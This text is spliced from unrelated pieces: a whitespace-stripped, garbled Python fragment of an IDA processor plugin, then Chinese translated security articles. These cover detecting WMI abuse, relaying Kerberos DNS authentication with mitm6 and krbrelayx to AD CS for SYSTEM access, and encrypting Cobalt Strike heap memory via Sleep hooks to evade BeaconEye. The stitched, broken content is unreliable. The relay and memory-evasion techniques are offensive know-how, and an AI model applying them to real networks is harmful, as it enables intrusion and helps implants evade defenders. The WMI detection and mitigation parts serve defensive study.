0]))ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTrueifbuf[2]==0xA2and(buf[0]0xF)==0:insn.ityp e=NewInstructions.NN_muluhinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalsedefev_ana_insn(self,insn):returnself.decode_instruction(insn)defev_out_mnem(se lf,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinNewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:ho wcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalsedefev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:if op.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse#--------------------------------------------------------------------------classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''

WMI (Windows Management Instrumentation)是微軟對基於web的企業管理(WBEM)和來自分佈式管理任務組(DMTF)的公共信息模型(CIM)標準的實現。這允許管理員以統一的方式管理一組系統,允許他們獲取關於系統的信息、系統當前狀態並執行操作。正因為如此,許多攻擊者利用它進行枚舉、橫向移動和持久性攻擊。防御者和安全供應商也充分利用了它,事實上,如果沒有它,大多數漏洞掃描程序將無法完成他們在windows主機上所做的很多事情。

研究人員起初編寫了PSGumshoe PowerShell模塊,以幫助執行威脅搜索和事件響應工作。

執行方法在多年前的一個項目中,我了解到可以通過啟用Other Object Access審核設置然後在每個WMI 命名空間上跟踪類方法的WMI 執行甚至查詢。一個熟練的Windows管理員能夠跟踪我的查詢和方法執行,並通過使用一些經過優化的攝取過濾器來包含我的操作,這些過濾器會對任何不符合他的環境中的系統正常行為的操作發出警報。

配置GPO時,請在“計算機配置- Windows設置-安全設置-高級審核策略配置-審核策略-對象訪問”下進行設置

1.jpg

審核設置通過GPO 設置和推送審核設置後,需要登錄腳本或手動過程來設置適當的審核設置以跟踪給定命名空間上的操作。需要手動執行此操作:

打開WMI控制MMC或計算機管理MMC,並打開WMI控制的屬性。

選擇Security選項卡,選擇要應用adit設置的名稱空間,然後單擊Security。

2.jpg

在下一個窗口中,點擊Advanced。

3.jpg

在命名空間的高級安全設置中,我們執行以下操作:

1.點擊Auditing選項卡;

2.點擊Add;

4.jpg

在“Audit Entry ”窗口中,執行以下操作:

1.選擇Principal將應用於的對象,我的建議是Everyone或Authenticated Users;

2.在Type中選擇ALL,因為我們想要成功和失敗事件。

3.在高級權限中,我建議從Execute Method開始,以檢測類方法的後期移動和Full Write的情況下,惡意WMI提供程序創建了一個類或永久事件組件創建在根/訂閱名稱空間之外。也有助於檢測作為C2頻道http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf的WMI

顯示的設置不包括查詢,沒有在將事件發送到SIEM 之前驗證和過濾事件的過程和能力,這在生產環境中會太嘈雜。

5.jpg

一旦應用了設置,任何嘗試如下所示,其中本地Win32_Process 類Create() 方法用於使用WMI 創建進程以中斷父子關係將被記錄。

6.png

當我們檢查Security 中的日誌時,我們將看到ID 為4662 的事件,其中ObjectServer 將是WMI。該事件將包括事件發生在什麼命名空間中以及在什麼用戶環境中。在AdditinalInformation 字段下,我們將查看它是本地的還是遠程的以及被調用的方法。

7.jpg

本地方法執行當從遠程系統對主機執行方法時,如下例所示,日誌將顯示該方法是遠程執行的。

8.png

我們將在AdditionalInfo 下看到方法執行是Remote Execute。

9.jpg

遠程方法執行在PSGumshoe 中,可以使用Get-EventWmiObjectAccess 函數來幫助查找這種類型的IOC。

10.png

從幫助信息中可以看到,該函數允許通過某些字段過濾事件,並且可以傳遞一個或多個EVTX文件,因此我們可以遠程或本地執行該函數。

在下面的例子中,我們正在查看一個從系統中提取的EVTX文件,並且我們正在過濾方法的本地執行。

11.png

通過管道傳遞多個EVTX 文件的示例。

12.png

WMI 操作錯誤事件在Microsoft-WMI-Arctivity/Operational 日誌中,Windows 默認記錄所有與WMI 相關的操作錯誤,事件ID 為58585。在Windows 的日常操作中,也取決於操作系統上安裝的軟件,錯誤的數量很高。如果SIEM 解決方案允許在轉發日誌之前進行過濾,這將有助於提高所發送事件的信噪比。在下圖中,我們可以看到在我的實驗室VM 中,錯誤數量很高。

13.jpg

PSGumshoe 提供Get-EventWmiOperationalError 函數來搜索和過濾生成的錯誤日誌。攻擊者可能會犯錯誤或根本無權執行生成要記錄的錯誤的操作。該事件將包括計算機和進程的PID,該進程不僅在本地生成事件,而且還為遠程操作生成事件。

就像其他WMI 函數一樣,該函數可以在另一台計算機上遠程運行,在本地運行,也可以對一個或多個EVTX 文件運行。

14.png

我們可以通過ClientMachine 分組查詢遠程主機並查看是否有來自其他主機的事件。在這個例子中,我們可以看到SDCL1 有2 個操作錯誤。

15.png

我們可以查詢主機,以便僅匹配可疑ClientMachine 的事件。

16.png

我們可以根據Resultcode進行分組,結果代碼是錯誤號,我們可以使用Microsoft文檔中的錯誤常量引用來識別任何感興趣的內容。

17.png

WMI提供程序加載用於持久性的WMI 提供程序是一種古老但未廣泛使用的技術,攻擊者在系統上安裝WMI 提供程序,當與它提供的一個或多個類交互時,它會加載它,提供編碼到其中的任何功能,作為SYSTEM 執行。 Casey Smith 創建並刪除了公開共享該技術的第一個公共POC,隨後Jared Atkinson 也公開了一個POC。

加載提供程序並在Microsoft-Windows-WMI-Activity/Operational 中創建事件ID 5857。重要的字段是ProvierPath 和TimeCreated,因為這可以關聯以構建可能訪問的類的時間線,因為僅當wmiiprvse.exe 需要類執行請求的操作時才會加載提供程序。

18.jpg

PsGumshoe提供了Get-EventWmiProviderStart函數來查詢這個事件。

18.1.png

18.2.png

這是一個查看每個提供程序已加載多少次的示例,這可能有助於識別正在使用的可疑提供程序。

19.png

WMI永久事件WMI永久事件從Windows 2000/XP時代開始就被濫用,永久事件由3 個部分組成:

Filter——WQL 查詢我們想要的事件;

Consumer——觸發過濾器時採取的行動;

Binding——向Consumer註冊過濾器。

每個組件都是一個類的實例,該類創建並存儲在CIM數據庫(objects.data)的根或根/訂閱名稱空間下。當Consumer被執行時,該操作在wmiprvse.exe的環境中以SYSTEM的形式運行。因為我們必須單獨構建每個部分並將其保存在CIM數據庫中,所以它們確實要花費更多的精力,但大多數攻擊者只是簡單地將這個過程自動化。它的局限性在於只有一小部分Consumer行為可用。

ActiveScriptEventConsumer——當一個事件被傳遞給它時,用任意的腳本語言執行一個預定義的腳本。該用戶可在Windows 2000及更高版本上使用。

CommandLineEventConsumer——當一個事件被傳遞給它時,在本地系統環境中啟動任意進程。該用戶可在Windows XP及更高版本上使用。

當事件發送到文本日誌文件時,將自定義字符串寫入到文本日誌文件中。該用戶可在Windows XP及以上版本上使用。

NTEventLogEventConsumer——當事件被發送到Windows NT事件日誌時,將特定的消息記錄到該事件日誌中。該用戶可在Windows XP及以上版本上使用。

SMTPEventConsumer——每次將事件發送給它時,使用SMTP發送一條電子郵件消息。該用戶可在Windows 2000及以上版本上使用。

對於Event Filter對象,將創建一個查詢來監視WMI CIM數據庫中的內部或外部事件,這些事件可以是任何類實例的創建、修改或刪除,或者訂閱將為某些操作生成事件的提供程序。

當__EventFilter 和任何Consumer類型類對像用於在WMI CIM 數據庫中創建Binder 實例以創建永久事件時,Microsoft-Windows-WMI-Activity/Operational 中ID 為5861 的事件日誌條目由以下人員創建默認情況下無需啟用任何審核。如果任何組件類實例被修改,該事件也會在修改中創建。即使在可能原因子元素下的UserData 元素中,該事件也將包含與永久物相關的所有信息。

如果我們使用Sysmon並將其配置為捕獲WMI事件,則將捕獲正在創建的每個組件。 Sysmon提供了將更改定位到已經綁定在一起的過濾器或使用者的優勢,以便融合到環境中。我們已經看到APT28在修改目標環境中已經存在的使用者和過濾器。 Bellow是一個將捕獲所有事件的配置。

20.png

在下面的示例中,我們將使用PowerShell創建每個組件,永久事件將檢測USB設備何時被插入,並將可執行文件複製到設備上,並在設備上設置autorun.ini。

我們將首先創建一個Event Filter實例,該實例將在可移動卷添加到主機時觸發。

21.png

我們可以看到該操作記錄在Sysmon 日誌下,事件ID 為19,它包含過濾事件的所有部分,並且該操作已創建。

22.jpg

PSGumshoe有get - sysmonwmfilter,它允許查詢這個事件,並將結果作為一個對象返回給我們。

23.png

如前所述,攻擊者可以修改現有的事件過濾器並替換查詢。 Sysmon能夠跟踪這一變化。讓我們更改查詢,使其中沒有換行符。

24.1.png

24.2.png

正如我們所看到的,Sysmon使用相同的ID記錄了更改,但操作聲明它已被修改。

25.jpg

PSGumshoe中的函數允許按字段過濾,因此我們只能查詢修改過的事件。我們看到Sysmon創建了2個事件,一個是更改之前的實例,另一個是實例現在的樣子。

26.png

現在我們將創建一個Consumer實例,這個Consumer類型為Action Script,它將執行一個VBScript腳本,該腳本將Base64解碼二進製文件並將其存儲在可移動驅動器上,它還將創建一個autorun.ini並修改它,使其隱藏在驅動器上。

27.1.png

27.2.png

該操作將被Sysmon記錄為事件ID 20,並包含來自actionscriptConsumer的整個腳本。

28.jpg

我們可以使用Get-SysmonWmiConsumer函數來查詢事件。 Sysmon只記錄Action Script和CommandLine事件Consumer,其他Consumer不被記錄,因為他們不被認為是一個安全風險。

29.png

為了將過濾器與Consumer綁定,我們需要創建一個Binder實例,該實例同時引用這兩個過濾器。它可以在Root命名空間或Root/Subscription中創建。讓我們首先在Root/Subscription名稱空間中創建一個實例,它是此類實例的默認實例。

30.png

Windows將記錄所有綁定事件,每個部分的完整信息作為事件ID 5861下的事件的一部分。

31.jpg

我們可以使用Get-EventWmiPermanentEvent函數來查詢這個事件。

32 (2).png

最近James Forshaw發表的關於Kerberos中繼的博客推翻了以前不能中繼Kerberos的結論。其中介紹了一些技巧,可以將Windows身份驗證轉換為不同的服務主體名(Service Principal Name, SPN),而不是通常從客戶機連接的主機名派生出來的服務主體名,這意味著Kerberos並非如我所設想的那樣是完全可靠的。這促使我去尋找一些其他的濫用途徑,包括我在幾年前研究過但從未付諸實踐的做法——中繼DNS認證。當你能夠使用mitm6通過DHCPv6欺騙來欺騙DNS服務器時,這一點尤其重要。在這個場景中,你可以使用Kerberos和它們的設備帳戶對受害設備進行可靠的身份驗證。這種身份驗證可以中繼到任何不強制執行完整性的服務,例如Active Directory證書服務(AD CS)基於http(s)的註冊,這反過來使它可以在該主機上以SYSTEM的形式執行代碼,正如我在AD CS中繼的博客中討論的那樣。與用mitm6中繼WPAD身份驗證相比,這種技術更快、更可靠、侵入性更小,但當然需要使用AD CS。這個博客描述了這項技術的背景,以及我對krbrelayx所做的更改,以便這次能夠支持真實的Kerberos中繼。

基於DNS 的Kerberos如果你熟悉Kerberos,就會知道DNS是擁有一個工作的Kerberos基礎設施的關鍵組件。但是你知道Active Directory中的DNS也支持使用Kerberos通過DNS進行身份驗證的操作嗎?這是“安全動態更新”操作的一部分,該操作用於保持動態地址的網絡客戶端的DNS記錄與其當前IP地址同步。下圖顯示了動態更新過程中涉及的步驟:

1.png

步驟如下(按照上面的數據包從上到下)。在此交換中,客戶端是Windows 10 工作站,服務器是一個具有DNS角色的域控制器。

客戶機在起始授權機構(SOA)記錄中查詢它的名稱,這表明客戶機所在的域的哪個服務器是授權的。

服務器響應授權的DNS服務器,在本例中是DC icorp-dc.internal.corp。

客戶端嘗試在區域internal.corp 中使用其名稱對A 記錄進行動態更新。

這個動態更新被服務器拒絕,因為沒有提供身份驗證。

客戶端使用TKEY 查詢來協商經過身份驗證的查詢的密鑰。

服務器以TKEY 資源記錄作為回复,完成身份驗證。

客戶端再次發送動態更新,但現在伴隨著TSIG記錄,這是使用步驟5和6中建立的密鑰的簽名。

服務器確認動態更新,新的DNS記錄現在已經就位。

讓我們仔細看看步驟5和步驟6,TKEY查詢實際上是通過TCP發送的,因為它比UDP允許的最大512字節大很多。這主要是因為TKEY的附加記錄相當大,它包含了我們經常看到的Kerberos認證結構:

2.png

事實證明,此查詢包含完整的GSSAPI 和SPNEGO 結構,其中包含Kerberos AP-REQ。這本質上是對服務的正常Kerberos 身份驗證流程。回复再次包含一個GSSAPI 和SPNEGO 結構,指示認證成功,並使用AP-REP 回复。這個AP-REP包含一個新的會話密鑰,客戶端可以使用它來通過TSIG記錄對他們的DNS查詢簽名。請注意,encAPRepPart通常是用只有客戶機和服務器知道的會話密鑰加密的,但是因為我將測試域中各種系統的Kerberos密鑰加載到Wireshark接受的keytab中,所以我們可以對整個交換進行解密,以查看它包含什麼內容。

3.png

此流程的概念相當簡單(實際的實現並不簡單)。客戶機使用Kerberos進行身份驗證並安全地交換會話密鑰,然後使用該會話密鑰對進一步的更新查詢進行簽名。服務器可以存儲密鑰和經過身份驗證的用戶/計算機,並以一種經過身份驗證的方式處理更新,而不必將身份驗證綁定到特定的TCP套接字,因為稍後的查詢可能通過UDP發送。

濫用DNS身份驗證如果我們能夠攔截DNS查詢,那麼就有可能欺騙受害客戶端,讓其向我們發送真實DNS服務器的Kerberos票據。這種攔截可以在默認的Windows配置中由同一(V)LAN中的任何系統使用mitm6完成。 mitm6將自己宣傳為DNS服務器,這意味著受害者將把SOA發送到我們的假服務器,如果我們拒絕它們的動態更新,則使用Kerberos進行身份驗證。這就有點棘手了。通常,DNS服務器角色將在域控制器上運行。因此,DNS服務的服務票據已經適合於運行在DC上的服務,因為它們使用相同的帳戶,我們可以在票據中更改服務名稱。這意味著我們可以將此票據中繼到例如LDAP。然而,如果我們仔細查看TKEY查詢中的驗證器,我們會看到請求完整性(簽名)的標誌被設置了。

4.png

這將自動觸發LDAP簽名,這將使整個攻擊失敗,因為如果不對每條消息提供有效的加密簽名,我們就不能在之後與LDAP交互。我們無法生成此簽名,因為我們中繼了身份驗證,並且實際上並不擁有解密服務票據和提取會話密鑰所需的Kerberos密鑰。

這最初讓我碰壁有兩個原因:

當時,沒有任何已知的默認高值服務可以接受設置了完整性標誌的身份驗證,但不會在協議級別上強制它。

客戶端專門請求他們在其Kerberos 票證請求中使用的SPN 中的“dns”服務類。此SPN 僅在實際的DNS 服務器上設置,因此要中繼到的合法主機的數量非常少。

在閱讀了James的博客後,我重新審視了這個問題:

由於AD CS研究由Lee Christensen和Will Schroeder發表,我們在大多數AD環境中都有一個高價值的端口,並提供了在受害者身上執行代碼的可能性,正如我在上一篇關於AD CS中繼的博客中所描述的那樣。

正如James在他的博客中所描述的,許多服務類實際上會隱式地映射到HOST類。事實證明,這包括DNS,因此當受害者請求DNS服務的票據時,這實際上適用於任何帶有HOST SPN的帳戶。默認情況下,這是在域中的所有計算機帳戶上設置的,因此可以針對在這些帳戶下運行的任何服務。

解決了這兩個問題後,我們就可以將在偽DNS服務器上接收到的Kerberos身份驗證轉發到AD CS。當這一切完成後,我們可以為我們中繼的計算機帳戶請求證書,並使用NT哈希恢復技術或S4U2Self技巧。使用這些技術,我們可以獲得對受害計算機的SYSTEM訪問權限,只要AD CS http端口可用來中繼,這就有效地使其成為可靠的RCE。

對krbrelayx 和mitm6 的更改最初,krbrelayx並不是一種真正的中繼工具。相反,它通過使用不受約束的委託配置(系統)帳戶來捕獲Kerberos tgt,並且以與ntlmrelayx相同的方式使用這些tgt可以使用傳入NTLM身份驗證。由於現在有一個實際中轉Kerberos身份驗證的用例,所以我更新了krbrelayx中的功能,使其能夠在中轉模式而不是不受約束的委託模式下運行。如果你不指定任何NT哈希值或AES密鑰(這些密鑰可用於從傳入的Kerberos身份驗證中提取信息),那麼它實際上將默認使用這種模式。簡而言之,現在可以使用krbrelayx中繼Kerberos身份驗證,儘管只支持中繼到HTTP和LDAP。至於mitm6,我已經添加了指定中繼目標的選項,當受害者詢問查詢SOA記錄時,該目標將是授權命名服務器響應中的主機名。這將使受害者為我們的目標服務而不是合法的DNS服務器請求Kerberos服務票據。

需要注意的一點是,當目標AD CS服務器不是受害者用於Kerberos操作的DC時,這種方法最有效。如果它們在同一主機上(例如在小型或實驗室環境中),目標服務器同時是KDC和AD CS服務器,則可能導致受害者向你而不是DC發送Kerberos票據請求(TGS-REQ)。雖然你可以代理此流量,但這超出了本項目的範圍,你可能最終得不到任何身份驗證數據。

我們還得克服最後一個障礙。 Kerberos AP-REQ實際上並沒有告訴我們正在進行身份驗證的是哪個用戶,這只是在Authenticator的加密部分中指定的。所以我們不知道哪個用戶或設備帳戶正在向我們驗證。幸運的是,在默認的AD CS模板場景中,這實際上並不重要,因為這些場景允許將任何名稱指定為CN,而且無論如何它都會被Active Directory中的名稱覆蓋。但是,為了獲得最好的結果,我建議你在使用mitm6時將攻擊範圍限定在一台主機上,並在krbrelayx中使用—victim指定該主機名,這樣它就能正確地填寫字段。

攻擊示例讓我們看看這在實踐中是怎樣的。首先,我們設置krbrelayx,指定AD CS主機(在實際示例中為adscert.internal.corp)作為目標,並指定接口的IPv4地址作為綁定DNS服務器的接口。這可以防止與通常在例如Ubuntu 上偵聽環回適配器的DNS 服務器發生衝突。

5.png

然後我們設置mitm6,使用AD CS主機的名稱作為中繼目標:

6.png

我們等待受害者獲得IPv6 地址並連接到我們的惡意服務器:

7.png

屏幕截圖顯示,受害者試圖更新他們的DNS記錄,我們拒絕這樣做,因為缺乏認證。認證通過TCP發送給krbrelayx的DNS服務器,DNS服務器接受並轉發給AD CS:

8.png

我們看到了預期的流程:

9.png

受害者(192.168.111.73)查詢其主機名的SOA記錄。

我們指出我們的惡意DNS服務器是權威的名稱服務器,受害者將向其發送動態更新查詢。

該查詢被mitm6拒絕,這將表明受害者需要驗證他們的查詢。

客戶機與KDC對話,以獲得我們所指示的服務的Kerberos票據。

客戶端建立到krbrelayx的TCP連接,並發送包含Kerberos票據的TKEY查詢。

該票據被轉發到AD CS主機,從而導致我們的認證成功並頒發證書。

有了這個證書,我們可以使用PKINITtools(或Windows上的Rubeus)使用Kerberos進行認證,並模擬一個域管理員來訪問我們的受害者(在本例中是icorp-w10):

10.png

使用smbclient.py,我們可以列出C驅動器,以證明我們有管理員訪問權限:

11.png

緩解措施此技術濫用Windows 和Active Directory 中的不安全默認設置。這裡的主要問題是Windows對IPv6的偏好,以及AD CS web應用程序的默認安全問題。這些問題可以通過以下方法加以緩解:

緩解mitm6mitm6 濫用了這樣一個事實,即使在僅IPv4 的環境中,Windows 也會查詢IPv6 地址。如果你在內部不使用IPv6,防止mitm6 的最安全方法是通過組策略在Windows 防火牆中阻止DHCPv6 流量和傳入路由器發布。完全禁用IPv6 可能會產生不必要的副作用。將以下預定義規則設置為阻止而不是允許可防止攻擊起作用:

(入站)核心網絡——IPv6 的動態主機配置協議(DHCPV6-In);

(入站)核心網絡——路由器發布(ICMPv6-In);

(出站)核心網絡——IPv6 的動態主機配置協議(DHCPV6-Out);

緩解對AD CS 的中繼默認CertSrv 網站不使用TLS,這應該首先強制執行,然後才能啟用進一步的保護。使用有效證書啟用TLS 後,在IIS 中啟用身份驗證的擴展保護將防止中繼攻擊。這應該在提供此服務的所有單個CA 服務器上的AD CS 的所有基於Web 的註冊功能上啟用。

加密堆分配為什麼要對堆分配進行加密?堆棧是局部作用域的,通常在函數完成時退出作用域。這意味著在函數運行期間設置在堆棧上的項目會在函數返回並完成時脫離堆棧;這顯然不適用於你長期保存內存變量的期望。此時,就需要用到堆了。堆更像是一種長期內存存儲解決方案。堆上的分配保留在堆上,直到你手動釋放它們。如果你不斷地將數據分配到堆上而從未釋放任何內容,也可能導致內存溢出。也就是說,堆可能包含長期配置信息,例如Cobalt Strike 的犧牲進程、休眠時間、回調路徑等。這意味著如果你的Cobalt Strike 代理在內存中運行,則任何防御者都可以在進程堆空間中以純文本形式看到你的配置。作為防御者,我們甚至不需要識別你注入的線程,就可以輕鬆地HeapWalk()所有分配並確定像“%windir%”這樣簡單的內容來嘗試識別你的犧牲進程:

1.png

如你所見,這是一個非常令人擔憂的想法。既然我們已經了解了這個問題,現在就必須去解決它。

我們有幾個潛在的解決方案,不過每個方案各有其優缺點。讓我們從獨立的EXE情況開始,因為這個要簡單得多。該二進製文件是你的Cobalt Strike 有效載荷。在這種情況下,我們可以很容易地實現我們的目標。使用前面提到的HeapWalk() 函數,我們就可以迭代堆中的每個分配並對其進行加密!為了防止錯誤,我們可以在加密堆之前掛起所有線程,然後在加密後恢復所有線程。

即使你認為你的程序是單線程的,Windows 似乎也在後台提供線程,為RPC 和WININET 等實用程序執行垃圾收集和其他類型的函數。如果你不掛起這些線程,它們將在嘗試引用加密分配時使你的進程崩潰。崩潰示例如下:

2.webp.jpg

Windows 後台線程

3.webp.jpg

wininet.dll 線程崩潰

從理論上講,這是一個很容易實現的方法!最後一個難題是如何在Cobalt Strike 休眠時調用所有這些函數,解決方法很簡單。

掛鉤如果我們查看Cobalt Strike 二進製文件的IAT(導入地址表),我們將看到它利用Kernel32.dll Sleep 來實現其休眠函數。

4.webp.jpg

Cobalt Strike 進口我們需要做的就是在kernel32.dll 中掛鉤Sleep,然後將掛鉤休眠中的行為修改為以下內容:

5.png

基本上,我們掛起所有的線程並運行我們的加密例程,如下所示:

6.png

這將創建一個PROCESS_HEAP_ENTRY 結構,在每次調用時將其清零,然後遍歷堆並將數據放入該結構中。然後我們檢查當前堆條目的標誌並驗證它是否已分配,以便我們只對分配進行加密。

然後我們運行原始/舊休眠函數,該函數將作為掛鉤函數的一部分創建,然後在恢復線程之前解密。這樣我們就可以防止再次引用分配時發生崩潰。總之,這是一個相當簡單的進程。目前我們還沒有用到的是掛鉤功能。

首先,什麼是函數掛鉤?函數掛鉤意味著我們在進程空間內重新路由對函數的調用,例如Sleep() ,以在內存中運行我們的任意函數。這樣,我們局可以改變函數的行為,觀察被調用的參數(因為我們的任意函數現在被調用,可以打印傳遞給它的參數),甚至完全阻止函數工作。在許多情況下,這就是EDR 監控可疑行為並發出警報的方式。他們掛鉤自認為有趣的函數,例如CreateRemoteThread,並記錄所有的參數,以便以後在可疑調用時發出警報。

那如何掛鉤該函數?有很多方法可以實現這一點,但我只會提到兩種並深入研究一種。我將提到的兩種技術是IAT掛鉤和Trampoline Patching

IAT掛鉤IAT 掛鉤背後的想法很簡單,每個進程空間都有所謂的導入地址表。此表包含已由二進製文件導入以供使用的DLL 和相關函數指針的列表。推薦的和最穩定的掛鉤方法是遍歷導入地址表,識別你嘗試掛鉤的DLL,識別你想要掛鉤的函數並覆蓋其指向任意掛鉤函數的函數指針。每當進程調用該函數時,它都會定位指針並調用你的函數。如果你想調用舊函數作為掛鉤函數的一部分,你可以存儲舊指針,ired.team 上已經存在一個示例。

這種方法有優點也有缺點,優點是實現起來非常簡單,而且非常穩定。你只是改變了調用的函數,你並沒有改變任何內容,但卻有很大的崩潰風險。

如果使用GetProcAddress() 來解析函數,它不會在IAT 中。這是一個非常有針對性的掛鉤方法,可以帶來好處,但如果你想監視更廣泛的調用,例如能夠掛鉤NtCreateThreadEx 與僅使用CreateRemoteThread,理論上也更容易檢測。

Trampoline Patching

現在讓我們談談Trampoline Patching。 Trampoline Patching 更難實現,很不穩定,並且由於必須解決許多相對尋址問題,因此可能需要很長時間才能對x64 進行普遍處理。值得慶幸的是,已經有人花時間製作了一個開源庫,以非常穩定的方式執行所有這些操作。

接下來讓我們繼續看看掛鉤是如何工作的,這樣我們就可以根據需要重新實現我們自己的掛鉤。首先使用GetProcAddress 和LoadLibrary 解析函數。然後,解析有效程序集的前X個指令數,加起來最少為五個字節。更具體地說,我們將使用一種非常常見的技術,該技術使用五字節相對跳轉操作碼(E9) 從函數庫跳轉到+- 2GB 的位置,然後跳轉到我們的任意函數。顯然,要使其工作,我們需要覆蓋函數的前五個字節。如果我們這樣做,就需要再次調用它這樣會破壞原始函數。為了確保我們可以在需要時解決舊函數,就必須保存第一條指令,稍後將寫入代碼cave作為trampoline的一部分,該trampoline將為我們運行它,然後跳回下一條指令的函數。但如果第一條指令只有四個字節,寫入五個字節就會破壞第二條指令的第一個操作碼。然後我們需要將前兩條指令存儲在我們的trampoline中,現在trampoline將運行前兩條指令並跳回到第三條指令繼續執行。這個trampoline所在的地方將是被掛鉤的原始函數的新指針。所以,原來的函數指針現在是這樣運行。

7.png

這個代碼cave也會跳轉到任意函數的某個位置,寫在原始函數基礎的相對五字節跳轉跳轉到這個位置,然後像這樣跳轉到任意函數。

8.png

這樣,我們現在就有了一種方法,可以在調用舊函數時運行任意函數,並根據需要調用原始函數。

現在讓我們開始調試,看看MessageBoxA 是乾淨的還是經過掛鉤的。

首先,我們掛鉤MessageBoxA。代碼看起來像這樣:

9.png

MessageBoxA位於user32.dll中,找到基地址後,Patching所有內容,向cave添加一些代碼,解析相對跳轉並將trampoline存儲在OldMessageBoxA() 中。

任意/掛鉤MessageBoxA 函數將如下所示:

10.png

我們需要匹配返回類型和參數,此時,我們將運行原始MessageBoxA,無論如何我們將修改文本,始終顯示“HOOKED”。

現在看一下前後對比情況:

11.1.webp.jpg

11.2.webp.jpg

Patching未進行掛鉤的消息框之前

12.1.webp.jpg

12.2.jpg

Patching進行掛鉤的消息框之後

如你所見,在BEFORE 屏幕截圖中,第一條指令只有四個字節。這意味著我們需要存儲前兩條指令;然後我們的相對跳轉繼續覆蓋前五個。我們不需要修改剩餘的字節,因為我們將讓trampoline執行我們存儲的前兩個字節,然後跳回位置0x00007FF8EF70AC27。讓我們繼續在調試器中查看新的掛鉤函數是什麼樣的。我們將在運行JMP 後立即開始:

13.webp.jpg

跳轉到掛鉤函數

首先看到兩個00。這樣做是為了確保如果我們將多個trampoline寫入cave,我們不會覆蓋函數指針中00 00 的末尾。接下來我們看到FF 25 00 00 00 00,也就是JMP QWORD PTR指令。緊接著,你將看到八個字節,它們是掛鉤函數的指針!如果我們執行這條指令,就會看到:

14.webp.jpg

掛鉤函數中的第一條指令

最後:

15.webp.jpg

內部掛鉤函數

我們可以看到我們在我們的掛鉤函數中,掛鉤函數只運行並返回舊函數,所以讓我們繼續執行舊函數:

16.webp.jpg

調用舊函數

讓我們看看結果如何:

17.webp.jpg

trampoline

如果你看這張圖,可以看到我們正在執行我們覆蓋的前兩條指令。在復制的字節之後,我們對OriginalFunction+7的位置執行第二個JMP QWORD PTR(因為在這個示例中trampoline的大小是7個字節)。這將使我們處於第三條指令的開頭。讓我們來看看:

18.webp.jpg

繼續執行

可以看到我們現在處於CMP 指令處,從我們停止的地方繼續執行。

通過這個進程,你可以看到像minhook 這樣的實用程序是如何工作的。現在,你可以像我一樣自己實現它,也可以使用像minhook 這樣穩定的內容。

19.png

將EXE 放在一起把所有內容放在一起看看它是什麼樣子的:

Hook Sleep();

在掛鉤函數中,掛起所有線程;

使用HeapWalk() 加密所有分配;

通過trampoline函數運行原始的Sleep();

使用HeapWalk() 解密所有分配;

恢復所有線程;

我將假設你擁有自己的加密、掛鉤和完整的線程掛起函數。代碼如下所示:

20.png

非常簡單,這段代碼顯然不包括你的植入程序。你可以通過以某種方式執行shell 代碼在同一進程空間中運行植入程序,也可以將其轉換為DLL 並將其註入執行後的信標中。由於它使用了HeapWalk(),所以它可以加密過去、現在和將來的分配,只需要掛鉤Sleep() 來開始調用。

在這個演示中,對於任何sleep值為1或更少的內容,我們都不加密。

21.gif

EXE HeapWalk() 加密器演示

如你所見,首先我們進行1 次休眠,BeaconEye 會捕獲我們的配置。將sleep值修改為5,然後開始加密,成功關閉BeaconEye。

注意,由於這會加密所有堆分配,因此它不會作為註入線程工作,因為當Cobalt Strike 處於休眠狀態時,它注入的進程將無法運行。想像一下注入explorer.exe,每次信標休眠時,所有的Explorer 都會凍結。當需要作為線程注入時,這個解決方案顯然不是最佳的。如果我們想要一些可以作為線程工作的內容,將需要做更多的工作。

可以在此處找到演示過程。

線程目標堆加密我們的新設計必須使用單獨的線程,因為無法掛起額外的線程也無法鎖定堆,主進程將需要繼續運行。這意味著當我們注入一個信標線程時,必須確保所有加密的分配都只來自該線程。如果我們正確定位線程,則可以成功地避免該問題。

現在在我們的dropper 中有掛鉤函數。為了操作堆,需要在Windows 中調用了一個函數子集:

HeapCreate()

HeapAllocate()

HeapReAllocate()

HeapFree()

HeapDestroy()

Windows中的Malloc和free,位於msvcrt.dll中,實際上是HeapAllocate()和HeapFree()的高級包裝器,它們是RtlAllocateHeap()和RtlFreeHeap()的高級包裝器,它們是Windows中最低級別的函數,最終直接管理堆。

22.webp.jpg

來自Ghidra的圖

這意味著如果我們掛鉤RtlAllocateHeap()、RtlReAllocateHeap() 和RtlFreeHeap(),則可以在Cobalt Strike 中跟踪堆空間內分配和釋放的所有內容。通過掛鉤這三個函數,我們可以在映射中插入分配和重新分配,並在調用free 時將它們從映射中刪除,但這仍然不能解決我們的線程目標問題。

事實證明,如果你從一個鉤子函數調用GetCurrentThreadId(),你實際上可以獲取調用線程的線程id,使用它,你可以注入你的信標,獲取其線程id 並執行類似於以下的操作:

23.png

這樣做是為了重新分配,也可以免費進行刪除,現在你的目標是一個線程!到目前為止很容易。但是還記得之前的那個問題,我們不得不掛起其他線程的原因嗎?在我們及時解密之前,WININET 和RPC 調用仍會嘗試訪問加密的內存。這裡有幾個選項,但我使用了我認為有趣的選項。由於加載的shell 代碼既不是有效的EXE 也不是DLL,因此我能夠從任何發起調用的對像中進行分配,這些調用源自沒有名稱的模塊。

為了讓這個機制起作用,我們需要解析進行函數調用的模塊。這可以通過以下代碼實現:

24.png

